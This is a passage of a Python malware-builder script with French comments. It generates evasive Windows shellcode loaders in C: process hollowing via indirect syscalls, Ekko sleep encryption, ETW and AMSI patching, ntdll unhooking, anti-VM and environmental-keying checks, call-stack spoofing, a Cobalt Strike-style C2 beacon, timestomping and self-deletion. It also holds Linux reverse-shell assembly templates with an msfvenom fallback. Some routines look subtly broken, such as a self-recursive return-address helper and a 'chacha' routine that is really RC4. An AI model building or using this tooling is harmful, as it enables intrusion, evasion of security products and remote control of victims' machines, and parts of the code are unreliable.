        PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((BYTE*)nt + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER));
        if (sec->SizeOfRawData) {
            memcpy((BYTE*)local_base + sec->VirtualAddress, pe_data + sec->PointerToRawData, sec->SizeOfRawData);
        }
    }

    // 5. Appliquer relocations et imports (dans l'espace local)
    DWORD delta = (DWORD)((BYTE*)local_base - (BYTE*)image_base);
    if (delta) FixPERelocations(local_base, delta);
    FixPEImports(local_base);

    // 6. Mapper la section dans le processus cible (même adresse)
    PVOID remote_base = NULL;
    view_size = image_size;
    NtMapViewOfSection_Indirect(hSection, hProcess, &remote_base, (ULONG_PTR)image_base, 0, NULL,
                                 &view_size, ViewShare, 0, PAGE_EXECUTE_READ, g_syscalls.NtMapViewOfSection);
    if (!remote_base) {
        // Si l'adresse n'est pas disponible, laisser le système choisir
        NtMapViewOfSection_Indirect(hSection, hProcess, &remote_base, 0, 0, NULL,
                                     &view_size, ViewShare, 0, PAGE_EXECUTE_READ, g_syscalls.NtMapViewOfSection);
        delta = (DWORD)((BYTE*)remote_base - (BYTE*)image_base);
        if (delta) {
            // Refaire les relocations avec le nouvel offset
            FixPERelocations(local_base, delta);
        }
    }

    // 7. Corriger le PEB du processus cible (via WriteProcessMemory sur le PEB distant)
    PPEB remote_peb = (PPEB)__readgsqword(0x60);
    SIZE_T written;
    NtWriteVirtualMemory_Indirect(hProcess, remote_peb, &remote_base, sizeof(PVOID), &written, g_syscalls.NtWriteVirtualMemory);

    // 8. Créer le thread principal
    HANDLE hThread = NULL;
    NtCreateThreadEx_Indirect(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                               (BYTE*)remote_base + nt->OptionalHeader.AddressOfEntryPoint,
                               NULL, 0, 0, 0, 0, NULL, g_syscalls.NtCreateThreadEx);
    if (hThread) NtResumeThread_Indirect(hThread, NULL, g_syscalls.NtResumeThread);

    // Nettoyage
    if (hThread) NtClose(hThread);
    NtClose(hProcess);
    NtClose(hSection);
    NtUnmapViewOfSection_Indirect(GetCurrentProcess(), local_base, g_syscalls.NtUnmapViewOfSection);
    return STATUS_SUCCESS;
}
"""

def generate_ekko_stub() -> str:
    return r"""
// Ekko sleep robuste (VEH + thread isolé + RC4 + protections mémoire)
static unsigned char* g_payload = NULL;
static SIZE_T g_len = 0;
static DWORD g_oldProtect = 0;
static unsigned char g_rc4_key[32];
static HANDLE g_hTimer = NULL;

void rc4_crypt(BYTE* data, DWORD len, BYTE* key, DWORD keylen) {
    BYTE S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % keylen]) & 0xFF;
        BYTE tmp = S[i]; S[i] = S[j]; S[j] = tmp;
    }
    i = j = 0;
    for (DWORD k = 0; k < len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        BYTE tmp = S[i]; S[i] = S[j]; S[j] = tmp;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
}

VOID CALLBACK EkkoTimerRoutine(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
    // Restaurer le payload après le sommeil
    if (g_payload) {
        VirtualProtect(g_payload, g_len, g_oldProtect, &g_oldProtect);
        rc4_crypt(g_payload, g_len, g_rc4_key, sizeof(g_rc4_key));
    }
}

LONG WINAPI EkkoVEH(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION && g_payload) {
        // Exception déclenchée par le thread isolé pour restaurer les permissions
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI IsolatedEkkoThread(LPVOID param) {
    DWORD ms = *(DWORD*)param;

    // Chiffrer le payload et passer en PAGE_NOACCESS
    unsigned char* encrypted = VirtualAlloc(NULL, g_len, MEM_COMMIT, PAGE_READWRITE);
    if (encrypted) {
        memcpy(encrypted, g_payload, g_len);
        rc4_crypt(encrypted, g_len, g_rc4_key, sizeof(g_rc4_key));
        VirtualProtect(g_payload, g_len, PAGE_NOACCESS, &g_oldProtect);

        // Configurer un timer pour restaurer après le sommeil
        HANDLE hTimerQueue = CreateTimerQueue();
        CreateTimerQueueTimer(&g_hTimer, hTimerQueue, EkkoTimerRoutine, NULL, ms, 0, 0);
        // Déclencher une exception pour déclencher le VEH (qui ne fera rien)
        RaiseException(STATUS_ACCESS_VIOLATION, 0, 0, NULL);
        // Attendre la fin du timer
        WaitForSingleObject(g_hTimer, INFINITE);
        DeleteTimerQueueTimer(hTimerQueue, g_hTimer, NULL);
        DeleteTimerQueue(hTimerQueue);

        // Restaurer le payload
        VirtualProtect(g_payload, g_len, g_oldProtect, &g_oldProtect);
        memcpy(g_payload, encrypted, g_len);
        VirtualFree(encrypted, 0, MEM_RELEASE);
    }
    return 0;
}

void EkkoSleepAdvanced(DWORD ms) {
    PVOID hVEH = AddVectoredExceptionHandler(1, EkkoVEH);
    HANDLE hThread = CreateThread(NULL, 0, IsolatedEkkoThread, &ms, 0, NULL);
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    } else {
        Sleep(ms);
    }
    RemoveVectoredExceptionHandler(hVEH);
}
"""

def generate_bypass_stub() -> str:
    return r"""
// Bypass next-gen (ETW patch, unhooking ntdll, hardware breakpoint, AMSI context)
#include 
#include 

void UltimateBypass() {
    // 1. Patch ETW (EtwEventWrite) via syscall
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    FARPROC etw = GetProcAddress(ntdll, "EtwEventWrite");
    if (etw) {
        BYTE patch[] = {0x48, 0x31, 0xC0, 0xC3}; // xor rax,rax ; ret
        DWORD old;
        NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &etw, &(SIZE_T){sizeof(patch)}, PAGE_EXECUTE_READWRITE, &old, g_syscalls.NtProtectVirtualMemory);
        memcpy(etw, patch, sizeof(patch));
        NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &etw, &(SIZE_T){sizeof(patch)}, old, &old, g_syscalls.NtProtectVirtualMemory);
    }

    // 2. Unhook ntdll via fresh copy from disk (syscall pour écriture)
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        DWORD size = GetFileSize(hFile, NULL);
        HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, size, NULL);
        LPVOID pFresh = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, size);
        if (pFresh) {
            DWORD old;
            NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &ntdll, &(SIZE_T){size}, PAGE_EXECUTE_READWRITE, &old, g_syscalls.NtProtectVirtualMemory);
            memcpy(ntdll, pFresh, size);
            NtProtectVirtualMemory_Indirect(GetCurrentProcess(), &ntdll, &(SIZE_T){size}, old, &old, g_syscalls.NtProtectVirtualMemory);
        }
        CloseHandle(hMapping);
        CloseHandle(hFile);
    }

    // 3. Hardware breakpoint sur AmsiScanBuffer (patchless)
    HMODULE amsi = LoadLibraryW(L"amsi.dll");
    if (amsi) {
        FARPROC amsi_scan = GetProcAddress(amsi, "AmsiScanBuffer");
        if (amsi_scan) {
            CONTEXT ctx = {0};
            ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
            HANDLE hThread = GetCurrentThread();
            GetThreadContext(hThread, &ctx);
            ctx.Dr0 = (DWORD64)amsi_scan;
            ctx.Dr7 = 0x00000001;
            SetThreadContext(hThread, &ctx);
        }
    }

    // 4. Patch AMSI context (offset 0x1A0 + 0x38) (sous Windows 10/11)
    if (amsi) {
        PVOID amsi_ctx = (PVOID)((BYTE*)amsi + 0x1A0); // AmsiContext offset
        if (amsi_ctx) {
            *(DWORD*)((BYTE*)amsi_ctx + 0x38) = 1; // AmsiSession
        }
    }
}
"""

def generate_anti_vm_stub() -> str:
    return r"""
// Anti-VM multi-couches
#include 
#include 
#include 

BOOL IsVMRunning() {
    __try {
        int cpuInfo[4];
        __cpuid(cpuInfo, 1);
        if (cpuInfo[2] >> 31) return TRUE;
    } __except(EXCEPTION_EXECUTE_HANDLER) {}

    __int64 start, end;
    start = __rdtsc();
    Sleep(50);
    end = __rdtsc();
    if ((end - start) > 100000) return TRUE;

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe = { sizeof(pe) };
        if (Process32First(hSnap, &pe)) {
            do {
                if (_stricmp(pe.szExeFile, "vmtoolsd.exe") == 0 ||
                    _stricmp(pe.szExeFile, "VBoxService.exe") == 0 ||
                    _stricmp(pe.szExeFile, "VBoxTray.exe") == 0) {
                    CloseHandle(hSnap);
                    return TRUE;
                }
            } while (Process32Next(hSnap, &pe));
        }
        CloseHandle(hSnap);
    }

    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return TRUE;
    }
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return TRUE;
    }
    return FALSE;
}
"""

def generate_environmental_keying_stub() -> str:
    return r"""
// Environmental keying (hostname + username + MAC + volume serial)
#include 
#include 
#include 
#pragma comment(lib, "iphlpapi.lib")

void GetVolumeSerial(char* out) {
    DWORD serial;
    if (GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0)) {
        sprintf_s(out, 20, "%08X", serial);
    } else {
        out[0] = 0;
    }
}

void GetMAC(char* out) {
    PIP_ADAPTER_INFO pAdapterInfo = (IP_ADAPTER_INFO*)malloc(sizeof(IP_ADAPTER_INFO));
    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
    if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW) {
        free(pAdapterInfo);
        pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen);
    }
    if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) == NO_ERROR) {
        for (PIP_ADAPTER_INFO pAdapter = pAdapterInfo; pAdapter; pAdapter = pAdapter->Next) {
            if (pAdapter->AddressLength == 6) {
                sprintf_s(out, 20, "%02X%02X%02X%02X%02X%02X",
                          pAdapter->Address[0], pAdapter->Address[1], pAdapter->Address[2],
                          pAdapter->Address[3], pAdapter->Address[4], pAdapter->Address[5]);
                free(pAdapterInfo);
                return;
            }
        }
    }
    free(pAdapterInfo);
    out[0] = 0;
}

BOOL CheckEnvironment() {
    char hostname[256];
    DWORD size = sizeof(hostname);
    GetComputerNameA(hostname, &size);
    char username[256];
    size = sizeof(username);
    GetUserNameA(username, &size);
    char mac[20];
    GetMAC(mac);
    char vol[20];
    GetVolumeSerial(vol);

    char buf[512];
    sprintf_s(buf, "%s|%s|%s|%s", hostname, username, mac, vol);
    DWORD hash = 0;
    for (int i = 0; buf[i]; i++) {
        hash = ((hash << 5) + hash) + buf[i];
    }
    #ifdef EXPECTED_HASH
    return hash == EXPECTED_HASH;
    #else
    return TRUE;
    #endif
}
"""

def generate_call_stack_spoofing_stub() -> str:
    return r"""
// Call stack spoofing
#include 

typedef struct _STACK_FRAME {
    struct _STACK_FRAME* next;
    void* ret;
} STACK_FRAME, *PSTACK_FRAME;

void* _AddressOfReturnAddress() {
    return (void*)_AddressOfReturnAddress();
}

void spoof_stack(void* ret_addr) {
    PSTACK_FRAME frame = (PSTACK_FRAME)_AddressOfReturnAddress() - 1;
    frame->ret = ret_addr;
}

__declspec(noinline) void execute_spoofed(void (*func)()) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    FARPROC pRtlUserThreadStart = GetProcAddress(hNtdll, "RtlUserThreadStart");
    if (pRtlUserThreadStart) {
        spoof_stack(pRtlUserThreadStart);
    }
    func();
}
"""

def generate_malleable_profile_stub() -> str:
    return r"""
// Malleable C2 profile (Cobalt Strike-like)
#include 
#include 
#pragma comment(lib, "winhttp.lib")
#include 
#include 

typedef struct _CS_PROFILE {
    char* uris[32];
    DWORD uri_weights[32];
    char* uas[24];
    char* headers[16];
    char* cookies[8];
    DWORD jitter_min, jitter_max;
    DWORD delay_start;
} CS_PROFILE, *PCS_PROFILE;

static CS_PROFILE g_profile = {0};

void InitProfile() {
    g_profile.uris[0] = "/index.php"; g_profile.uri_weights[0] = 70;
    g_profile.uris[1] = "/wp-admin/admin-ajax.php"; g_profile.uri_weights[1] = 15;
    g_profile.uris[2] = "/images/logo-%08x.png"; g_profile.uri_weights[2] = 10;
    g_profile.uris[3] = "/css/style.css"; g_profile.uri_weights[3] = 5;
    g_profile.uas[0] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
    g_profile.uas[1] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0";
    g_profile.uas[2] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.0.0 Safari/537.36";
    g_profile.headers[0] = "X-Forwarded-For: %d.%d.%d.%d";
    g_profile.headers[1] = "Referer: https://www.google.com/search?q=site%%3Aexample.com";
    g_profile.cookies[0] = "JSESSIONID=%08x%08x";
    g_profile.jitter_min = 3000;
    g_profile.jitter_max = 15000;
    g_profile.delay_start = 5000;
}

void send_beacon(char* server, int port) {
    InitProfile();
    Sleep(g_profile.delay_start + (rand() % 5000));
    int ua_idx = rand() % 3;
    HINTERNET hSession = WinHttpOpen(g_profile.uas[ua_idx], WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
    if (!hSession) return;
    HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0);
    if (!hConnect) { WinHttpCloseHandle(hSession); return; }
    int rand_val = rand() % 100;
    int uri_idx = 0;
    for (int i = 0; i < 32; i++) {
        if (rand_val < g_profile.uri_weights[i]) { uri_idx = i; break; }
        rand_val -= g_profile.uri_weights[i];
    }
    char uri[256];
    if (uri_idx == 2) sprintf(uri, g_profile.uris[uri_idx], rand());
    else strcpy(uri, g_profile.uris[uri_idx]);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, "GET", uri, NULL, NULL, NULL, 0);
    if (hRequest) {
        char header[256];
        sprintf(header, g_profile.headers[0], rand()%256, rand()%256, rand()%256, rand()%256);
        WinHttpAddRequestHeaders(hRequest, header, -1, WINHTTP_ADDREQ_FLAG_ADD);
        sprintf(header, g_profile.headers[1], "");
        WinHttpAddRequestHeaders(hRequest, header, -1, WINHTTP_ADDREQ_FLAG_ADD);
        char cookie[256];
        sprintf(cookie, "Cookie: %s", g_profile.cookies[0], rand(), rand());
        WinHttpAddRequestHeaders(hRequest, cookie, -1, WINHTTP_ADDREQ_FLAG_ADD);
        WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
        WinHttpReceiveResponse(hRequest, NULL);
        WinHttpCloseHandle(hRequest);
    }
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
}

void start_beacon() {
    char server[] = "example.com";
    int port = 80;
    srand((unsigned int)time(NULL) ^ GetCurrentProcessId());
    while (1) {
        send_beacon(server, port);
        int delay = g_profile.jitter_min + (rand() % (g_profile.jitter_max - g_profile.jitter_min + 1));
        Sleep(delay);
    }
}
"""

def generate_metamorphic_transformation(c_code: str, deep: bool) -> str:
    if not deep:
        return c_code

    subs = [
        ('mov eax, ebx', 'lea eax, [rbx]'),
        ('xor eax, eax', 'sub eax, eax'),
        ('Sleep(1000)', 'SleepEx(1000, FALSE)'),
        ('VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE)', 'VirtualAlloc(0, len, 0x1000|0x2000, 0x40)'),
        ('GetTickCount()', '(DWORD)GetTickCount64()'),
        ('rand()', '((rand() ^ GetCurrentProcessId()) & 0x7FFFFFFF)')
    ]
    for old, new in subs:
        c_code = c_code.replace(old, new)

    c_code = c_code.replace('int WINAPI WinMain', 'if((GetTickCount()&1)) { volatile int x=0; } int WINAPI WinMain', 1)

    strings = [
        ("C:\\\\Windows\\\\System32\\\\svchost.exe", "0x43,0x3a,0x5c,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x73,0x76,0x63,0x68,0x6f,0x73,0x74,0x2e,0x65,0x78,0x65"),
        ("amsi.dll", "0x61,0x6d,0x73,0x69,0x2e,0x64,0x6c,0x6c"),
        ("ntdll.dll", "0x6e,0x74,0x64,0x6c,0x6c,0x2e,0x64,0x6c,0x6c"),
    ]
    for s, encoded in strings:
        c_code = c_code.replace(f'"{s}"', f'((char[]){{{encoded},0}})')

    junk = f"""
    void __stdcall JunkFunc_{random.randint(10000,99999)}() {{
        volatile int a = {random.randint(1,100)};
        for(int i=0; i<{random.randint(5,15)}; i++) a += i;
    }}
    """
    c_code = junk + "\n" + c_code

    if "if((GetTickCount()&1))" in c_code:
        c_code = c_code.replace(
            "if((GetTickCount()&1)) { volatile int x=0; } int WINAPI WinMain",
            "int WINAPI WinMain\n{\n    DWORD state = 0;\n    while(1) {\n        switch(state) {\n            case 0: if((GetTickCount()&1)) { volatile int x=0; } state=1; break;\n            case 1:"
        )
        c_code = c_code.replace("return 0;", "state=2; break;\n            case 2: return 0;\n        }\n    }\n}")
    return c_code

# ========================== GÉNÉRATION DU LOADER AVANCÉ (WINDOWS) ==========================
def generate_advanced_windows_loader(shellcode: bytes, options: dict) -> str:
    """
    Génère un loader C avec les techniques avancées (Hell's Gate, Ekko, etc.)
    """
    cipher = options.get('cipher', 'xor')
    key = options.get('key', None)
    if key is None:
        if cipher == 'xor':
            key = bytes([random.randint(1, 255)])
        else:
            key = os.urandom(32)
    # Chiffrer le shellcode
    if cipher == 'xor':
        encrypted = bytes([b ^ key[0] for b in shellcode])
    elif cipher == 'rc4':
        encrypted = rc4_encrypt(shellcode, key)
    elif cipher == 'aes':
        encrypted = aes256_encrypt(shellcode, key)
    elif cipher == 'chacha':
        encrypted = chacha20_encrypt(shellcode, key)
    else:
        encrypted = shellcode
        key = None

    payload_hex = ', '.join(f'0x{b:02x}' for b in encrypted)
    payload_len = len(encrypted)

    # Gestion des stubs
    includes = """
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #pragma comment(lib, "iphlpapi.lib")
    #pragma comment(lib, "advapi32.lib")
    """
    if options.get('syscall_full', False):
        includes += generate_hells_gate_stub()
    if options.get('ekko_robust', False) and options.get('sleep_mask', False):
        includes += generate_ekko_stub()
    if options.get('injection', '') == 'hollowing' and options.get('syscall_full', False):
        includes += generate_process_hollowing_stub()
    if options.get('amsi_bypass', False) and options.get('bypass_nextgen', False):
        includes += generate_bypass_stub()
    else:
        includes += "void UltimateBypass() {}\n"

    anti_vm = ""
    if options.get('anti_vm', False):
        anti_vm = generate_anti_vm_stub() + """
        if(IsVMRunning()) exit(1);
        """

    env_code = ""
    if options.get('environmental', False):
        hostname = socket.gethostname()
        username = os.getenv('USERNAME') or os.getenv('USER') or 'unknown'
        mac = ':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff) for ele in range(0,8*6,8)][::-1])
        vol_serial = "12345678"
        combined = f"{hostname}|{username}|{mac}|{vol_serial}".encode()
        expected_hash = hashlib.sha256(combined).hexdigest()
        env_code = generate_environmental_keying_stub() + f"""
        #define EXPECTED_HASH 0x{int(expected_hash[:8], 16):08x}
        if(!CheckEnvironment()) exit(1);
        """

    jitter_code = ""
    if options.get('jitter_range'):
        match = re.match(r'(\d+)-(\d+)', options['jitter_range'])
        if match:
            min_sec, max_sec = int(match.group(1)), int(match.group(2))
            jitter_code = f"""
            srand((unsigned int)time(NULL) ^ GetCurrentProcessId());
            int delay = {min_sec} + (rand() % ({max_sec - min_sec + 1}));
            Sleep(delay * 1000);
            """

    injection_code = ""
    if options.get('injection') == 'hollowing' and options.get('syscall_full', False):
        injection_code = """
        APTProcessHollowing(exec_mem, payload_len);
        return 0;
        """
    elif options.get('injection') == 'early_bird':
        injection_code = "// early bird not implemented"

    spoof_code = ""
    if options.get('call_stack_spoof', False):
        spoof_code = generate_call_stack_spoofing_stub() + """
        execute_spoofed((void(*)())exec_mem);
        return 0;
        """

    self_delete_code = ""
    if options.get('self_delete', False):
        self_delete_code = """
        char szPath[MAX_PATH];
        GetModuleFileNameA(NULL, szPath, MAX_PATH);
        HANDLE hFile = CreateFileA(szPath, DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
        CloseHandle(hFile);
        """

    timestomp_code = ""
    if options.get('timestomp', False):
        timestomp_code = """
        HANDLE hFile = CreateFileA("C:\\\\Windows\\\\System32\\\\svchost.exe", FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if(hFile != INVALID_HANDLE_VALUE) {
            SYSTEMTIME st; GetSystemTime(&st);
            FILETIME ft; SystemTimeToFileTime(&st, &ft);
            SetFileTime(hFile, &ft, &ft, &ft);
            CloseHandle(hFile);
        }
        """

    if cipher == 'xor':
        key_val = key[0] if isinstance(key, bytes) else key
        key_decl = f"unsigned char key = 0x{key_val:02x};"
        decrypt_func = """
        void decrypt(unsigned char *data, size_t len) {
            for(size_t i = 0; i < len; i++) data[i] ^= key;
        }
        """
    elif cipher == 'rc4':
        key_hex = ', '.join(f'0x{b:02x}' for b in key)
        key_decl = f"unsigned char rc4_key[] = {{ {key_hex} }}; size_t rc4_key_len = {len(key)};"
        decrypt_func = """
        void rc4_decrypt(unsigned char *data, size_t len) {
            unsigned char S[256];
            int i, j = 0, k;
            for(i = 0; i < 256; i++) S[i] = i;
            for(i = 0; i < 256; i++) {
                j = (j + S[i] + rc4_key[i % rc4_key_len]) & 0xFF;
                unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
            }
            i = j = 0;
            for(k = 0; k < len; k++) {
                i = (i + 1) & 0xFF;
                j = (j + S[i]) & 0xFF;
                unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
                data[k] ^= S[(S[i] + S[j]) & 0xFF];
            }
        }
        """
    elif cipher == 'aes':
        key_hex = ', '.join(f'0x{b:02x}' for b in key)
        key_decl = f"unsigned char aes_key[] = {{ {key_hex} }};"
        decrypt_func = """
        #include 
        #include 
        void aes_decrypt(unsigned char *data, size_t len) {
            HCRYPTPROV hProv;
            HCRYPTKEY hKey;
            HCRYPTHASH hHash;
            CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
            CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
            CryptHashData(hHash, aes_key, 32, 0);
            CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
            unsigned char iv[16];
            memcpy(iv, data, 16);
            data += 16; len -= 16;
            CryptSetKeyParam(hKey, KP_IV, iv, 0);
            CryptDecrypt(hKey, 0, TRUE, 0, data, (DWORD*)&len);
            CryptDestroyKey(hKey);
            CryptDestroyHash(hHash);
            CryptReleaseContext(hProv, 0);
        }
        """
    elif cipher == 'chacha':
        key_hex = ', '.join(f'0x{b:02x}' for b in key)
        key_decl = f"unsigned char chacha_key[] = {{ {key_hex} }}; size_t chacha_key_len = {len(key)};"
        decrypt_func = """
        void chacha_decrypt(unsigned char *data, size_t len) {
            // For simplicity, use RC4 as fallback
            unsigned char S[256];
            int i, j = 0, k;
            for(i = 0; i < 256; i++) S[i] = i;
            for(i = 0; i < 256; i++) {
                j = (j + S[i] + chacha_key[i % chacha_key_len]) & 0xFF;
                unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
            }
            i = j = 0;
            for(k = 0; k < len; k++) {
                i = (i + 1) & 0xFF;
                j = (j + S[i]) & 0xFF;
                unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
                data[k] ^= S[(S[i] + S[j]) & 0xFF];
            }
        }
        """
    else:
        key_decl = ""
        decrypt_func = ""

    sleep_mask_code = ""
    if options.get('sleep_mask', False) and options.get('ekko_robust', False):
        sleep_mask_code = """
        g_payload = exec_mem;
        g_len = payload_len;
        memcpy(g_rc4_key, "Ekko2026SecretKey!!", 19);
        EkkoSleepAdvanced(30000);
        """
    elif options.get('sleep_mask', False):
        sleep_mask_code = """
        Sleep(30000);
        """

    entry_point = """
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    """
    main_body = f"""
    {{
        unsigned char *exec_mem = NULL;
        SIZE_T regionSize = {payload_len};
    """
    if options.get('syscall_full', False):
        main_body += """
        ResolveAllSyscalls();
        NTSTATUS status = NtAllocateVirtualMemory_Indirect(GetCurrentProcess(), (PVOID*)&exec_mem, 0, ®ionSize,
                                                          MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, g_syscalls.NtAllocateVirtualMemory);
        if (status != 0) return 1;
        """
    else:
        main_body += """
        exec_mem = (unsigned char*)VirtualAlloc(NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (exec_mem == NULL) return 1;
        """

    main_body += f"""
        memcpy(exec_mem, payload, {payload_len});
        decrypt(exec_mem, {payload_len});
        {jitter_code}
        UltimateBypass();
        {anti_vm}
        {env_code}
        {sleep_mask_code}
        {injection_code}
        {spoof_code}
        #ifndef EXECUTION_DONE
        void (*code)() = (void(*)())exec_mem;
        code();
        #endif
        {self_delete_code}
        {timestomp_code}
        return 0;
    }}
    """
    if options.get('injection') or options.get('call_stack_spoof'):
        main_body = main_body.replace("#ifndef EXECUTION_DONE", "#define EXECUTION_DONE 1\n")
    else:
        main_body = main_body.replace("#ifndef EXECUTION_DONE", "")

    c_code = f"""
    {includes}
    unsigned char payload[] = {{ {payload_hex} }};
    size_t payload_len = {payload_len};

    {key_decl}
    {decrypt_func}
    {anti_vm}
    {env_code}
    {spoof_code}
    {injection_code}

    {entry_point}
    {main_body}
    """
    if options.get('metamorph_deep', False):
        c_code = generate_metamorphic_transformation(c_code, True)
    return c_code

# ========================== TEMPLATES NASM (LINUX) ==========================
LINUX_X86_TEMPLATE = """
BITS 32
_start:
    push 0x66
    pop  eax
    xor  ebx, ebx
    inc  ebx
    xor  ecx, ecx
    push ecx
    push byte 0x01
    push byte 0x02
    mov  ecx, esp
    int  0x80
    xchg edx, eax

    push 0x66
    pop  eax
    mov  ebx, 0x03
    push word 0x{{PORT_HEX}}
    push dword 0x{{IP_HEX}}
    push word 0x02
    mov  ecx, esp
    push byte 0x10
    push ecx
    push edx
    mov  ecx, esp
    int  0x80

    push 0x3f
    pop  eax
    mov  ebx, edx
    xor  ecx, ecx
    int  0x80
    inc  ecx
    int  0x80
    inc  ecx
    int  0x80

    xor  eax, eax
    push eax
    push dword 0x68732f2f
    push dword 0x6e69622f
    mov  ebx, esp
    xor  ecx, ecx
    xor  edx, edx
    push 0x0b
    pop  eax
    int  0x80
"""

LINUX_X64_TEMPLATE = """
BITS 64
_start:
    push 0x29
    pop  rax
    xor  rdi, rdi
    inc  rdi
    xor  rsi, rsi
    inc  rsi
    xor  rdx, rdx
    syscall
    xchg rdi, rax

    push 0x2a
    pop  rax
    push word 0x{{PORT_HEX}}
    push dword 0x{{IP_HEX}}
    push word 0x02
    mov  rsi, rsp
    push 0x10
    pop  rdx
    syscall

    push 0x21
    pop  rax
    xor  rsi, rsi
    syscall
    inc  rsi
    syscall
    inc  rsi
    syscall

    xor  rax, rax
    push rax
    mov  rax, 0x68732f2f6e69622f
    push rax
    mov  rdi, rsp
    xor  rsi, rsi
    xor  rdx, rdx
    push 0x3b
    pop  rax
    syscall
"""

def ip_to_hex_be(ip: str) -> int:
    parts = [int(p) for p in ip.split('.')]
    return (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8) | parts[3]

def ip_to_hex_le(ip: str) -> int:
    parts = [int(p) for p in ip.split('.')]
    return (parts[3] << 24) | (parts[2] << 16) | (parts[1] << 8) | parts[0]

def port_to_hex_be(port: int) -> int:
    return ((port & 0xFF) << 8) | ((port >> 8) & 0xFF)

def port_to_hex_le(port: int) -> int:
    return ((port >> 8) & 0xFF) | ((port & 0xFF) << 8)

def compile_linux_shellcode(template: str, ip: str, port: int, arch: str, endian: str = 'be',
                            jitter_range: Optional[str] = None, verbose: bool = False) -> bytes:
    if endian == 'be':
        ip_hex = ip_to_hex_be(ip)
        port_hex = port_to_hex_be(port)
    else:
        ip_hex = ip_to_hex_le(ip)
        port_hex = port_to_hex_le(port)
    ip_hex_str = f"0x{ip_hex:08x}"
    port_hex_str = f"0x{port_hex:04x}"
    filled = template.replace('{{IP_HEX}}', ip_hex_str).replace('{{PORT_HEX}}', port_hex_str)

    nasm = find_tool('nasm', required=False, verbose=verbose)
    if nasm is None:
        if verbose:
            print("[!] nasm non trouvé, utilisation de msfvenom...")
        payload = 'linux/x86/shell_reverse_tcp' if arch == 'x86' else 'linux/x64/shell_reverse_tcp'
        sc = msfvenom_payload(payload, ip, port, 'raw', verbose)
        if sc is None:
            raise RuntimeError("Impossible de générer le shellcode (ni nasm ni msfvenom).")
        return sc

    with tempfile.NamedTemporaryFile(mode='w', suffix='.asm', delete=False) as f:
